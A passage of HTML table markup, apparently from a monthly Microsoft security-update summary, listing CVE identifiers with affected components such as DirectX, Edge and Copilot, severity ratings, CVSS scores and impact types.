 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
